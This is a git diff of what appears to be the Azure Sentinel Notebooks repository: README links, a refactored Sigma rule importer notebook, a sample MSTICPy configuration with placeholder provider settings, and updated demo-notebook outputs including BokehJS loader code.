-- View sample notebooks in the [Sample-Notebooks](https://github.com/Azure/Azure-Sentinel-Notebooks/tree/master/Sample-Notebooks) folder
-- View How-tos and Troubleshooting in the [HowTos](https://github.com/Azure/Azure-Sentinel-Notebooks/tree/master/HowTos) folder
+- Read more about the use of Jupyter notebooks in Azure Sentinel on the
+ [Azure Sentinel Technical Community blog](https://techcommunity.microsoft.com/t5/azure-sentinel/bg-p/AzureSentinelBlog/label-name/Notebooks).
+- Read more about the [Azure ML Notebooks Service](https://docs.microsoft.com/en-us/azure/machine-learning/how-to-run-jupyter-notebooks).
+- Read more about [MSTICPy](https://msticpy.readthedocs.io/en/latest/index.html) - the CyberSecurity Python library that powers most of the notebooks
+
## Feedback
diff --git a/SigmaRuleImporter.ipynb b/SigmaRuleImporter.ipynb
index 2864c332..ee5d30de 100644
--- a/SigmaRuleImporter.ipynb
+++ b/SigmaRuleImporter.ipynb
@@ -36,32 +36,21 @@
{
"cell_type": "code",
"source": [
- "from pathlib import Path\r\n",
- "import sys\r\n",
- "from IPython.display import display, HTML, Markdown\r\n",
- "\r\n",
- "REQ_PYTHON_VER=(3, 6)\r\n",
- "REQ_MSTICPY_VER=(0, 6, 0)\r\n",
- "\r\n",
- "display(HTML(\"Starting Notebook setup... \"))\r\n",
- "if Path(\"./utils/nb_check.py\").is_file():\r\n",
- " from utils.nb_check import check_python_ver, check_mp_ver\r\n",
- "\r\n",
- " check_python_ver(min_py_ver=REQ_PYTHON_VER)\r\n",
- " try:\r\n",
- " check_mp_ver(min_msticpy_ver=REQ_MSTICPY_VER)\r\n",
- " except ImportError:\r\n",
- " !pip install --upgrade msticpy\r\n",
- " if \"msticpy\" in sys.modules:\r\n",
- " importlib.reload(sys.modules[\"msticpy\"])\r\n",
- " else:\r\n",
- " import msticpy\r\n",
- " check_mp_ver(REQ_MSTICPY_VER)\r\n",
- "\r\n",
- "# If not using Azure Notebooks, install msticpy with\r\n",
- "# !pip install msticpy\r\n",
- "\r\n",
- "from msticpy.nbtools import nbinit\r\n",
+ "from pathlib import Path\n",
+ "from IPython.display import display, HTML\n",
+ "\n",
+ "REQ_PYTHON_VER=(3, 6)\n",
+ "REQ_MSTICPY_VER=(1, 0, 0)\n",
+ "\n",
+ "display(HTML(\"Starting Notebook setup... \"))\n",
+ "if Path(\"./utils/nb_check.py\").is_file():\n",
+ " from utils.nb_check import check_versions\n",
+ " check_versions(REQ_PYTHON_VER, REQ_MSTICPY_VER)\n",
+ "\n",
+ "# If not using Azure Notebooks, install msticpy with\n",
+ "# !pip install msticpy\n",
+ "\n",
+ "from msticpy.nbtools import nbinit\n",
"nbinit.init_notebook(namespace=globals());"
],
"outputs": [],
@@ -329,7 +318,11 @@
{
"cell_type": "markdown",
"source": [
- "## Display the results in an interactive browser"
+ "## Display the results in an interactive browser\n",
+ "\n",
+ "> Note: in order to execute a query from the browser, run\n",
+ "> the cells in the \"Execute query\" section first. Then\n",
+ "> come back to the browser."
],
"metadata": {}
},
@@ -366,19 +359,24 @@
" query_cat = sub_cats_w.value\n",
" query_text = query_text_w.value\n",
" query_text = query_text.format(**qry_wgt.query_params)\n",
- "\n",
" disp_results(query_text)\n",
- " \n",
+ "\n",
+ "disp_result = None\n",
+ "\n",
+ "\n",
"def disp_results(query_text):\n",
- " out_wgt.clear_output()\n",
- " with out_wgt:\n",
- " print(\"Running query...\", end=' ')\n",
- " qry_results = execute_kql_query(query_text)\n",
- " print(f'done. {len(qry_results)} rows returned.')\n",
- " display(qry_results)\n",
+ " if disp_result is None:\n",
+ " print(\n",
+ " \"Cannot run query without authenticating.\",\n",
+ " \"Please run subsequent cells first\"\n",
+ " )\n",
+ " return\n",
+ " disp_result.update(\"Running query...\")\n",
+ " qry_results = execute_kql_query(query_text)\n",
+ " disp_result.update(qry_results)\n",
" \n",
"exec_hqry_button = widgets.Button(description=\"Execute query..\")\n",
- "out_wgt = widgets.Output() #layout=Layout(width='100%', height='200px', visiblity='visible'))\n",
+ "\n",
"exec_hqry_button.on_click(click_exec_hqry)\n",
"\n",
"# Browser widget setup\n",
@@ -435,7 +433,7 @@
{
"cell_type": "markdown",
"source": [
- "## Click the `Execute query` button below to run the currently display query\n",
+ "## Click the `Execute query` button below to run the currently displayed query\n",
"**Notes:**\n",
"- To run the queries, first authenticate to Azure Sentinel\n",
"- If you added a date filter to the query set the date range below in the control below"
@@ -452,20 +450,42 @@
{
"cell_type": "code",
"source": [
- "from msticpy.nbtools.nbwidgets import QueryTime\r\n",
- "from IPython.display import display\r\n",
- "from msticpy.data import QueryProvider\r\n",
- "from msticpy.common.wsconfig import WorkspaceConfig\r\n",
- "ws_config = WorkspaceConfig()\r\n",
- "qry_prov = QueryProvider(\"LogAnalytics\")\r\n",
- "qry_prov.connect(ws_config.code_connect_str)\r\n",
- "\r\n",
- "exec_hqry_button = widgets.Button(description=\"Execute Query\")\r\n",
- "exec_hqry_button.on_click(exec_query_btn)\r\n",
- "\r\n",
- "qry_wgt = QueryTime(units='days', before=5, after=0, max_before=30, max_after=10)\r\n",
- "\r\n",
- "vbox = widgets.VBox([exec_hqry_button, out_wgt])\r\n",
+ "from msticpy.nbtools.nbwidgets import QueryTime\n",
+ "from IPython.display import display\n",
+ "from msticpy.data import QueryProvider\n",
+ "from msticpy.common.wsconfig import WorkspaceConfig\n",
+ "\n",
+ "ws_config = WorkspaceConfig()\n",
+ "qry_prov = QueryProvider(\"LogAnalytics\")\n",
+ "qry_prov.connect(ws_config.code_connect_str)\n",
+ "\n",
+ "def clean_kql_comments(query_string):\n",
+ " \"\"\"Cleans\"\"\"\n",
+ " import re\n",
+ " return re.sub(r'(//[^\\n]+)', '', query_string, re.MULTILINE).replace('\\n', '').strip()\n",
+ "\n",
+ "def execute_kql_query(query_string):\n",
+ " if not query_string or len(query_string.strip()) == 0:\n",
+ " print('No query supplied')\n",
+ " return None\n",
+ " src_query = clean_kql_comments(query_string)\n",
+ " src_query = src_query.format(start=qry_wgt.start, end=qry_wgt.end)\n",
+ " result = qry_prov.exec_query(src_query)\n",
+ " \n",
+ " return result\n",
+ "\n",
+ "disp_result = display(display_id=True)\n",
+ "\n",
+ "def exec_query_btn(btn):\n",
+ " query = query_text_w.value\n",
+ " result = execute_kql_query(query)\n",
+ " disp_result.update(result)\n",
+ "\n",
+ "exec_hqry_button = widgets.Button(description=\"Execute Query\")\n",
+ "exec_hqry_button.on_click(exec_query_btn)\n",
+ "\n",
+ "qry_wgt = QueryTime(units='days', before=5, after=0, max_before=30, max_after=10)\n",
+ "\n",
"display(qry_wgt)"
],
"outputs": [],
@@ -499,28 +519,6 @@
{
"cell_type": "code",
"source": [
- "def clean_kql_comments(query_string):\r\n",
- " \"\"\"Cleans\"\"\"\r\n",
- " import re\r\n",
- " return re.sub(r'(//[^\\n]+)', '', query_string, re.MULTILINE).replace('\\n', '').strip()\r\n",
- "\r\n",
- "def execute_kql_query(query_string):\r\n",
- " if not query_string or len(query_string.strip()) == 0:\r\n",
- " print('No query supplied')\r\n",
- " return None\r\n",
- " src_query = clean_kql_comments(query_string)\r\n",
- " src_query = src_query.format(start=qry_wgt.start, end=qry_wgt.end)\r\n",
- " result = qry_prov.exec_query(src_query)\r\n",
- " \r\n",
- " return result\r\n",
- "\r\n",
- "disp_result = display(display_id=True)\r\n",
- "\r\n",
- "def exec_query_btn(btn):\r\n",
- " query = query_text_w.value\r\n",
- " result = execute_kql_query(query)\r\n",
- " disp_result.update(result)\r\n",
- "\r\n",
"display(exec_hqry_button)"
],
"outputs": [],
diff --git a/msticpyconfig.yaml.sample b/msticpyconfig.yaml.sample
index d12e5fa9..c7847ffa 100644
--- a/msticpyconfig.yaml.sample
+++ b/msticpyconfig.yaml.sample
@@ -60,4 +60,65 @@ TIProviders:
Provider: "OPR"
TorExitNodes:
Primary: True
- Provider: "Tor"
\ No newline at end of file
+ Provider: "Tor"
+OtherProviders:
+ GeoIPLite:
+ Args:
+ AuthKey: c88dd3c2-d657-4eb3-b913-58d58d811a41
+ Provider: GeoLiteLookup
+ IPStack:
+ Args:
+ AuthKey:c88dd3c2-d657-4eb3-b913-58d58d811a41
+ Provider: IPStackLookup
+DataProviders:
+ AzureCLI:
+ Args:
+ auth_methods: cli # options=[env; msi; cli; interactive]
+ Splunk:
+ Args:
+ host: my-splunk-srv
+ username: sp_user
+ LocalData:
+ data_paths: /home/myuser/.local_data
+ Mordor:
+ save_folder: /home/myuser/.mordor_cache
+ use_cached: True
+KeyVault:
+ Authority: global
+ AzureRegion: Azure region name
+ ResourceGroup: MyResourceGroup
+ SubscriptionId: c88dd3c2-d657-4eb3-b913-58d58d811a41
+ TenantId: c88dd3c2-d657-4eb3-b913-58d58d811a41
+ UseKeyring: true
+ VaultName: my-vault-name
+UserDefaults:
+ # List of query providers to load
+ QueryProviders:
+ AzureSentinel:
+ Default:
+ alias: asi
+ connect: False
+ CyberSoc:
+ alias: soc
+ connect: False
+ Splunk:
+ connect: False
+ LocalData:
+ alias: local
+ # List of other providers/components to load
+ LoadComponents:
+ TILookup:
+ GeoIpLookup:
+ provider: GeoLiteLookup
+ Notebooklets:
+ query_provider:
+ LocalData:
+ workspace: CyberSoc
+ some_param: some_value
+ Pivot:
+ AzureData:
+ auth_methods: ['cli','interactive']
+ connect: False
+ AzureSentinelAPI:
+ auth_methods: ['env','interactive']
+ connect: False
\ No newline at end of file
diff --git a/nbdemo/msticpy demo.ipynb b/nbdemo/msticpy demo.ipynb
index 0cd2cb53..3aa15780 100644
--- a/nbdemo/msticpy demo.ipynb
+++ b/nbdemo/msticpy demo.ipynb
@@ -32,7 +32,7 @@
},
{
"cell_type": "code",
- "execution_count": 1,
+ "execution_count": 8,
"metadata": {
"ExecuteTime": {
"end_time": "2020-08-25T19:00:56.489718Z",
@@ -44,14 +44,15 @@
"name": "stdout",
"output_type": "stream",
"text": [
+ "msticpy version installed: 1.0.0rc4 latest published: 0.9.0\n",
+ "Latest version is installed.\n",
"Processing imports....\n",
"Checking configuration....\n",
"No errors found.\n",
- "\n",
- "The following configuration warnings were found: \n",
- " -------------------------------------------------\n",
- "No AzureCLI section in settings.\n",
- "Setting options....\n"
+ "No warnings found.\n",
+ "Exception while checking configuration:\n",
+ "cannot unpack non-iterable NoneType object\n",
+ "Setting notebook options....\n"
]
},
{
@@ -111,7 +112,7 @@
},
{
"cell_type": "code",
- "execution_count": 2,
+ "execution_count": 9,
"metadata": {
"ExecuteTime": {
"end_time": "2020-08-25T19:00:56.569716Z",
@@ -126,40 +127,12 @@
{
"data": {
"application/vnd.jupyter.widget-view+json": {
- "model_id": "891f9cab29ca492c9341d2b3728788cf",
- "version_major": 2,
- "version_minor": 0
- },
- "text/plain": [
- "HTML(value='Set query time boundaries ')"
- ]
- },
- "metadata": {},
- "output_type": "display_data"
- },
- {
- "data": {
- "application/vnd.jupyter.widget-view+json": {
- "model_id": "a57b53550bf148e4a5e4b93d3e38dbd8",
- "version_major": 2,
- "version_minor": 0
- },
- "text/plain": [
- "HBox(children=(DatePicker(value=datetime.date(2019, 2, 17), description='Origin Date'), Text(value='00:00:00',…"
- ]
- },
- "metadata": {},
- "output_type": "display_data"
- },
- {
- "data": {
- "application/vnd.jupyter.widget-view+json": {
- "model_id": "282fabbce54346618cd3a4ba8b0a0d2a",
+ "model_id": "ff9d19a7fb0248ad8da2b43ab2628a0d",
"version_major": 2,
"version_minor": 0
},
"text/plain": [
- "VBox(children=(IntRangeSlider(value=(-3, 2), description='Time Range (day):', layout=Layout(width='80%'), max=…"
+ "VBox(children=(HTML(value='Set query time boundaries '), HBox(children=(DatePicker(value=datetime.date…"
]
},
"metadata": {},
@@ -177,13 +150,12 @@
},
{
"cell_type": "code",
- "execution_count": 3,
+ "execution_count": 10,
"metadata": {
"ExecuteTime": {
"end_time": "2020-08-25T19:00:56.839716Z",
"start_time": "2020-08-25T19:00:56.571718Z"
},
- "scrolled": false,
"slideshow": {
"slide_type": "slide"
}
@@ -219,7 +191,7 @@
"\n",
" \n",
"
\n",
- "
Loading BokehJS ... \n",
+ "
Loading BokehJS ... \n",
"
"
]
},
@@ -389,7 +361,7 @@
" \"\"}};\n",
"\n",
" function display_loaded() {\n",
- " var el = document.getElementById(\"1001\");\n",
+ " var el = document.getElementById(\"1831\");\n",
" if (el != null) {\n",
" el.textContent = \"BokehJS is loading...\";\n",
" }\n",
@@ -455,7 +427,7 @@
" document.body.appendChild(element);\n",
" }\n",
"\n",
- " const hashes = {\"https://cdn.bokeh.org/bokeh/release/bokeh-2.1.1.min.js\": \"kLr4fYcqcSpbuI95brIH3vnnYCquzzSxHPU6XGQCIkQRGJwhg0StNbj1eegrHs12\", \"https://cdn.bokeh.org/bokeh/release/bokeh-widgets-2.1.1.min.js\": \"xIGPmVtaOm+z0BqfSOMn4lOR6ciex448GIKG4eE61LsAvmGj48XcMQZtKcE/UXZe\", \"https://cdn.bokeh.org/bokeh/release/bokeh-tables-2.1.1.min.js\": \"Dc9u1wF/0zApGIWoBbH77iWEHtdmkuYWG839Uzmv8y8yBLXebjO9ZnERsde5Ln/P\", \"https://cdn.bokeh.org/bokeh/release/bokeh-gl-2.1.1.min.js\": \"cT9JaBz7GiRXdENrJLZNSC6eMNF3nh3fa5fTF51Svp+ukxPdwcU5kGXGPBgDCa2j\"};\n",
+ " const hashes = {\"https://cdn.bokeh.org/bokeh/release/bokeh-2.2.2.min.js\": \"JayppSWSRBsibIZqI8S4vAb1oFgLL0uhNvSn8cmArlOvYOwfFjYeyY5UWwJ+K0SU\", \"https://cdn.bokeh.org/bokeh/release/bokeh-widgets-2.2.2.min.js\": \"G0/Tv/Yy/zEPNsnW0Qif/FOsGesd+KIrKg/QLmvQmReuUW9qmSP7mAmr0VpiUNr3\", \"https://cdn.bokeh.org/bokeh/release/bokeh-tables-2.2.2.min.js\": \"VLYHEbLQDk5G1+/4ALU0myoJPMEUsngWry2fzYorFOUmarjGRPLLURaeK/on6JqX\"};\n",
"\n",
" for (var i = 0; i < js_urls.length; i++) {\n",
" var url = js_urls[i];\n",
@@ -480,7 +452,7 @@
" }\n",
"\n",
" \n",
- " var js_urls = [\"https://cdn.bokeh.org/bokeh/release/bokeh-2.1.1.min.js\", \"https://cdn.bokeh.org/bokeh/release/bokeh-widgets-2.1.1.min.js\", \"https://cdn.bokeh.org/bokeh/release/bokeh-tables-2.1.1.min.js\", \"https://cdn.bokeh.org/bokeh/release/bokeh-gl-2.1.1.min.js\"];\n",
+ " var js_urls = [\"https://cdn.bokeh.org/bokeh/release/bokeh-2.2.2.min.js\", \"https://cdn.bokeh.org/bokeh/release/bokeh-widgets-2.2.2.min.js\", \"https://cdn.bokeh.org/bokeh/release/bokeh-tables-2.2.2.min.js\"];\n",
" var css_urls = [];\n",
" \n",
"\n",
@@ -509,7 +481,7 @@
" console.log(\"Bokeh: BokehJS failed to load within specified timeout.\");\n",
" root._bokeh_failed_load = true;\n",
" } else if (force !== true) {\n",
- " var cell = $(document.getElementById(\"1001\")).parents('.cell').data().cell;\n",
+ " var cell = $(document.getElementById(\"1831\")).parents('.cell').data().cell;\n",
" cell.output_area.append_execute_result(NB_LOAD_WARNING)\n",
" }\n",
"\n",
@@ -526,7 +498,7 @@
" }\n",
"}(window));"
],
- "application/vnd.bokehjs_load.v0+json": "\n(function(root) {\n function now() {\n return new Date();\n }\n\n var force = true;\n\n if (typeof root._bokeh_onload_callbacks === \"undefined\" || force === true) {\n root._bokeh_onload_callbacks = [];\n root._bokeh_is_loading = undefined;\n }\n\n \n\n \n if (typeof (root._bokeh_timeout) === \"undefined\" || force === true) {\n root._bokeh_timeout = Date.now() + 5000;\n root._bokeh_failed_load = false;\n }\n\n var NB_LOAD_WARNING = {'data': {'text/html':\n \"\\n\"+\n \"
\\n\"+\n \"BokehJS does not appear to have successfully loaded. If loading BokehJS from CDN, this \\n\"+\n \"may be due to a slow or bad network connection. Possible fixes:\\n\"+\n \"
\\n\"+\n \"
\\n\"+\n \"re-rerun `output_notebook()` to attempt to load from CDN again, or \\n\"+\n \"use INLINE resources instead, as so: \\n\"+\n \" \\n\"+\n \"
\\n\"+\n \"from bokeh.resources import INLINE\\n\"+\n \"output_notebook(resources=INLINE)\\n\"+\n \"
\\n\"+\n \"
\"}};\n\n function display_loaded() {\n var el = document.getElementById(\"1001\");\n if (el != null) {\n el.textContent = \"BokehJS is loading...\";\n }\n if (root.Bokeh !== undefined) {\n if (el != null) {\n el.textContent = \"BokehJS \" + root.Bokeh.version + \" successfully loaded.\";\n }\n } else if (Date.now() < root._bokeh_timeout) {\n setTimeout(display_loaded, 100)\n }\n }\n\n\n function run_callbacks() {\n try {\n root._bokeh_onload_callbacks.forEach(function(callback) {\n if (callback != null)\n callback();\n });\n } finally {\n delete root._bokeh_onload_callbacks\n }\n console.debug(\"Bokeh: all callbacks have finished\");\n }\n\n function load_libs(css_urls, js_urls, callback) {\n if (css_urls == null) css_urls = [];\n if (js_urls == null) js_urls = [];\n\n root._bokeh_onload_callbacks.push(callback);\n if (root._bokeh_is_loading > 0) {\n console.debug(\"Bokeh: BokehJS is being loaded, scheduling callback at\", now());\n return null;\n }\n if (js_urls == null || js_urls.length === 0) {\n run_callbacks();\n return null;\n }\n console.debug(\"Bokeh: BokehJS not loaded, scheduling load and callback at\", now());\n root._bokeh_is_loading = css_urls.length + js_urls.length;\n\n function on_load() {\n root._bokeh_is_loading--;\n if (root._bokeh_is_loading === 0) {\n console.debug(\"Bokeh: all BokehJS libraries/stylesheets loaded\");\n run_callbacks()\n }\n }\n\n function on_error() {\n console.error(\"failed to load \" + url);\n }\n\n for (var i = 0; i < css_urls.length; i++) {\n var url = css_urls[i];\n const element = document.createElement(\"link\");\n element.onload = on_load;\n element.onerror = on_error;\n element.rel = \"stylesheet\";\n element.type = \"text/css\";\n element.href = url;\n console.debug(\"Bokeh: injecting link tag for BokehJS stylesheet: \", url);\n document.body.appendChild(element);\n }\n\n const hashes = {\"https://cdn.bokeh.org/bokeh/release/bokeh-2.1.1.min.js\": \"kLr4fYcqcSpbuI95brIH3vnnYCquzzSxHPU6XGQCIkQRGJwhg0StNbj1eegrHs12\", \"https://cdn.bokeh.org/bokeh/release/bokeh-widgets-2.1.1.min.js\": \"xIGPmVtaOm+z0BqfSOMn4lOR6ciex448GIKG4eE61LsAvmGj48XcMQZtKcE/UXZe\", \"https://cdn.bokeh.org/bokeh/release/bokeh-tables-2.1.1.min.js\": \"Dc9u1wF/0zApGIWoBbH77iWEHtdmkuYWG839Uzmv8y8yBLXebjO9ZnERsde5Ln/P\", \"https://cdn.bokeh.org/bokeh/release/bokeh-gl-2.1.1.min.js\": \"cT9JaBz7GiRXdENrJLZNSC6eMNF3nh3fa5fTF51Svp+ukxPdwcU5kGXGPBgDCa2j\"};\n\n for (var i = 0; i < js_urls.length; i++) {\n var url = js_urls[i];\n var element = document.createElement('script');\n element.onload = on_load;\n element.onerror = on_error;\n element.async = false;\n element.src = url;\n if (url in hashes) {\n element.crossOrigin = \"anonymous\";\n element.integrity = \"sha384-\" + hashes[url];\n }\n console.debug(\"Bokeh: injecting script tag for BokehJS library: \", url);\n document.head.appendChild(element);\n }\n };\n\n function inject_raw_css(css) {\n const element = document.createElement(\"style\");\n element.appendChild(document.createTextNode(css));\n document.body.appendChild(element);\n }\n\n \n var js_urls = [\"https://cdn.bokeh.org/bokeh/release/bokeh-2.1.1.min.js\", \"https://cdn.bokeh.org/bokeh/release/bokeh-widgets-2.1.1.min.js\", \"https://cdn.bokeh.org/bokeh/release/bokeh-tables-2.1.1.min.js\", \"https://cdn.bokeh.org/bokeh/release/bokeh-gl-2.1.1.min.js\"];\n var css_urls = [];\n \n\n var inline_js = [\n function(Bokeh) {\n Bokeh.set_log_level(\"info\");\n },\n function(Bokeh) {\n \n \n }\n ];\n\n function run_inline_js() {\n \n if (root.Bokeh !== undefined || force === true) {\n \n for (var i = 0; i < inline_js.length; i++) {\n inline_js[i].call(root, root.Bokeh);\n }\n if (force === true) {\n display_loaded();\n }} else if (Date.now() < root._bokeh_timeout) {\n setTimeout(run_inline_js, 100);\n } else if (!root._bokeh_failed_load) {\n console.log(\"Bokeh: BokehJS failed to load within specified timeout.\");\n root._bokeh_failed_load = true;\n } else if (force !== true) {\n var cell = $(document.getElementById(\"1001\")).parents('.cell').data().cell;\n cell.output_area.append_execute_result(NB_LOAD_WARNING)\n }\n\n }\n\n if (root._bokeh_is_loading === 0) {\n console.debug(\"Bokeh: BokehJS loaded, going straight to plotting\");\n run_inline_js();\n } else {\n load_libs(css_urls, js_urls, function() {\n console.debug(\"Bokeh: BokehJS plotting callback run at\", now());\n run_inline_js();\n });\n }\n}(window));"
+ "application/vnd.bokehjs_load.v0+json": "\n(function(root) {\n function now() {\n return new Date();\n }\n\n var force = true;\n\n if (typeof root._bokeh_onload_callbacks === \"undefined\" || force === true) {\n root._bokeh_onload_callbacks = [];\n root._bokeh_is_loading = undefined;\n }\n\n \n\n \n if (typeof (root._bokeh_timeout) === \"undefined\" || force === true) {\n root._bokeh_timeout = Date.now() + 5000;\n root._bokeh_failed_load = false;\n }\n\n var NB_LOAD_WARNING = {'data': {'text/html':\n \"\\n\"+\n \"
\\n\"+\n \"BokehJS does not appear to have successfully loaded. If loading BokehJS from CDN, this \\n\"+\n \"may be due to a slow or bad network connection. Possible fixes:\\n\"+\n \"
\\n\"+\n \"
\\n\"+\n \"re-rerun `output_notebook()` to attempt to load from CDN again, or \\n\"+\n \"use INLINE resources instead, as so: \\n\"+\n \" \\n\"+\n \"
\\n\"+\n \"from bokeh.resources import INLINE\\n\"+\n \"output_notebook(resources=INLINE)\\n\"+\n \"
\\n\"+\n \"
\"}};\n\n function display_loaded() {\n var el = document.getElementById(\"1831\");\n if (el != null) {\n el.textContent = \"BokehJS is loading...\";\n }\n if (root.Bokeh !== undefined) {\n if (el != null) {\n el.textContent = \"BokehJS \" + root.Bokeh.version + \" successfully loaded.\";\n }\n } else if (Date.now() < root._bokeh_timeout) {\n setTimeout(display_loaded, 100)\n }\n }\n\n\n function run_callbacks() {\n try {\n root._bokeh_onload_callbacks.forEach(function(callback) {\n if (callback != null)\n callback();\n });\n } finally {\n delete root._bokeh_onload_callbacks\n }\n console.debug(\"Bokeh: all callbacks have finished\");\n }\n\n function load_libs(css_urls, js_urls, callback) {\n if (css_urls == null) css_urls = [];\n if (js_urls == null) js_urls = [];\n\n root._bokeh_onload_callbacks.push(callback);\n if (root._bokeh_is_loading > 0) {\n console.debug(\"Bokeh: BokehJS is being loaded, scheduling callback at\", now());\n return null;\n }\n if (js_urls == null || js_urls.length === 0) {\n run_callbacks();\n return null;\n }\n console.debug(\"Bokeh: BokehJS not loaded, scheduling load and callback at\", now());\n root._bokeh_is_loading = css_urls.length + js_urls.length;\n\n function on_load() {\n root._bokeh_is_loading--;\n if (root._bokeh_is_loading === 0) {\n console.debug(\"Bokeh: all BokehJS libraries/stylesheets loaded\");\n run_callbacks()\n }\n }\n\n function on_error() {\n console.error(\"failed to load \" + url);\n }\n\n for (var i = 0; i < css_urls.length; i++) {\n var url = css_urls[i];\n const element = document.createElement(\"link\");\n element.onload = on_load;\n element.onerror = on_error;\n element.rel = \"stylesheet\";\n element.type = \"text/css\";\n element.href = url;\n console.debug(\"Bokeh: injecting link tag for BokehJS stylesheet: \", url);\n document.body.appendChild(element);\n }\n\n const hashes = {\"https://cdn.bokeh.org/bokeh/release/bokeh-2.2.2.min.js\": \"JayppSWSRBsibIZqI8S4vAb1oFgLL0uhNvSn8cmArlOvYOwfFjYeyY5UWwJ+K0SU\", \"https://cdn.bokeh.org/bokeh/release/bokeh-widgets-2.2.2.min.js\": \"G0/Tv/Yy/zEPNsnW0Qif/FOsGesd+KIrKg/QLmvQmReuUW9qmSP7mAmr0VpiUNr3\", \"https://cdn.bokeh.org/bokeh/release/bokeh-tables-2.2.2.min.js\": \"VLYHEbLQDk5G1+/4ALU0myoJPMEUsngWry2fzYorFOUmarjGRPLLURaeK/on6JqX\"};\n\n for (var i = 0; i < js_urls.length; i++) {\n var url = js_urls[i];\n var element = document.createElement('script');\n element.onload = on_load;\n element.onerror = on_error;\n element.async = false;\n element.src = url;\n if (url in hashes) {\n element.crossOrigin = \"anonymous\";\n element.integrity = \"sha384-\" + hashes[url];\n }\n console.debug(\"Bokeh: injecting script tag for BokehJS library: \", url);\n document.head.appendChild(element);\n }\n };\n\n function inject_raw_css(css) {\n const element = document.createElement(\"style\");\n element.appendChild(document.createTextNode(css));\n document.body.appendChild(element);\n }\n\n \n var js_urls = [\"https://cdn.bokeh.org/bokeh/release/bokeh-2.2.2.min.js\", \"https://cdn.bokeh.org/bokeh/release/bokeh-widgets-2.2.2.min.js\", \"https://cdn.bokeh.org/bokeh/release/bokeh-tables-2.2.2.min.js\"];\n var css_urls = [];\n \n\n var inline_js = [\n function(Bokeh) {\n Bokeh.set_log_level(\"info\");\n },\n function(Bokeh) {\n \n \n }\n ];\n\n function run_inline_js() {\n \n if (root.Bokeh !== undefined || force === true) {\n \n for (var i = 0; i < inline_js.length; i++) {\n inline_js[i].call(root, root.Bokeh);\n }\n if (force === true) {\n display_loaded();\n }} else if (Date.now() < root._bokeh_timeout) {\n setTimeout(run_inline_js, 100);\n } else if (!root._bokeh_failed_load) {\n console.log(\"Bokeh: BokehJS failed to load within specified timeout.\");\n root._bokeh_failed_load = true;\n } else if (force !== true) {\n var cell = $(document.getElementById(\"1831\")).parents('.cell').data().cell;\n cell.output_area.append_execute_result(NB_LOAD_WARNING)\n }\n\n }\n\n if (root._bokeh_is_loading === 0) {\n console.debug(\"Bokeh: BokehJS loaded, going straight to plotting\");\n run_inline_js();\n } else {\n load_libs(css_urls, js_urls, function() {\n console.debug(\"Bokeh: BokehJS plotting callback run at\", now());\n run_inline_js();\n });\n }\n}(window));"
},
"metadata": {},
"output_type": "display_data"
@@ -540,7 +512,7 @@
"\n",
"\n",
"\n",
- "
\n"
+ "
\n"
]
},
"metadata": {},
@@ -552,8 +524,8 @@
"(function(root) {\n",
" function embed_document(root) {\n",
" \n",
- " var docs_json = {\"e6072a15-9cca-4407-bae3-7534d10eb1ab\":{\"roots\":{\"references\":[{\"attributes\":{\"children\":[{\"id\":\"1007\"},{\"id\":\"1039\"}]},\"id\":\"1110\",\"type\":\"Column\"},{\"attributes\":{\"days\":[1,8,15,22]},\"id\":\"1144\",\"type\":\"DaysTicker\"},{\"attributes\":{\"end\":3.25,\"start\":-0.25},\"id\":\"1012\",\"type\":\"Range1d\"},{\"attributes\":{\"months\":[0,2,4,6,8,10]},\"id\":\"1134\",\"type\":\"MonthsTicker\"},{\"attributes\":{\"days\":[1,15]},\"id\":\"1132\",\"type\":\"DaysTicker\"},{\"attributes\":{\"bottom_units\":\"screen\",\"fill_alpha\":0.5,\"fill_color\":\"lightgrey\",\"left_units\":\"screen\",\"level\":\"overlay\",\"line_alpha\":1.0,\"line_color\":\"black\",\"line_dash\":[4,4],\"line_width\":2,\"right_units\":\"screen\",\"top_units\":\"screen\"},\"id\":\"1031\",\"type\":\"BoxAnnotation\"},{\"attributes\":{\"days\":[1,4,7,10,13,16,19,22,25,28]},\"id\":\"1130\",\"type\":\"DaysTicker\"},{\"attributes\":{},\"id\":\"1044\",\"type\":\"DataRange1d\"},{\"attributes\":{\"active_drag\":\"auto\",\"active_inspect\":\"auto\",\"active_multi\":{\"id\":\"1078\"},\"active_scroll\":\"auto\",\"active_tap\":\"auto\",\"tools\":[{\"id\":\"1078\"}]},\"id\":\"1054\",\"type\":\"Toolbar\"},{\"attributes\":{\"axis_label\":\"Event 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%H:%M\"],\"hours\":[\"%H:%M:%S\"],\"milliseconds\":[\"%H:%M:%S.%3N\"],\"minutes\":[\"%H:%M:%S\"],\"seconds\":[\"%H:%M:%S\"]},\"id\":\"1886\",\"type\":\"DatetimeTickFormatter\"},{\"attributes\":{\"fill_color\":{\"value\":\"#440154\"},\"line_color\":{\"value\":\"#440154\"},\"x\":{\"field\":\"TimeGenerated\"},\"y\":{\"field\":\"y_index\"}},\"id\":\"1889\",\"type\":\"Circle\"},{\"attributes\":{\"below\":[{\"id\":\"1848\"}],\"center\":[{\"id\":\"1851\"},{\"id\":\"1855\"}],\"left\":[{\"id\":\"1852\"},{\"id\":\"1939\"}],\"min_border_left\":50,\"plot_height\":200,\"plot_width\":900,\"renderers\":[{\"id\":\"1918\"},{\"id\":\"1924\"},{\"id\":\"1930\"},{\"id\":\"1936\"}],\"title\":{\"id\":\"1838\"},\"toolbar\":{\"id\":\"1862\"},\"x_range\":{\"id\":\"1840\"},\"x_scale\":{\"id\":\"1844\"},\"y_range\":{\"id\":\"1842\"},\"y_scale\":{\"id\":\"1846\"}},\"id\":\"1837\",\"subtype\":\"Figure\",\"type\":\"Plot\"},{\"attributes\":{\"active_drag\":\"auto\",\"active_inspect\":\"auto\",\"active_multi\":null,\"active_scroll\":\"auto\",\"active_tap\":\"auto\",\"tools\":[{\"id\":\"1836\"},{\"id\":\"1856\"},{\"id\":\"1857\"},{\"id\":\"1858\"},{\"id\":\"1859\"},{\"id\":\"1860\"}]},\"id\":\"1862\",\"type\":\"Toolbar\"},{\"attributes\":{},\"id\":\"1858\",\"type\":\"ResetTool\"},{\"attributes\":{\"months\":[0,2,4,6,8,10]},\"id\":\"1977\",\"type\":\"MonthsTicker\"},{\"attributes\":{},\"id\":\"1853\",\"type\":\"BasicTicker\"},{\"attributes\":{\"days\":[1,8,15,22]},\"id\":\"1974\",\"type\":\"DaysTicker\"},{\"attributes\":{\"data\":{\"AlertName\":[\"Suspicious Activity Detected\",\"Suspicious system process 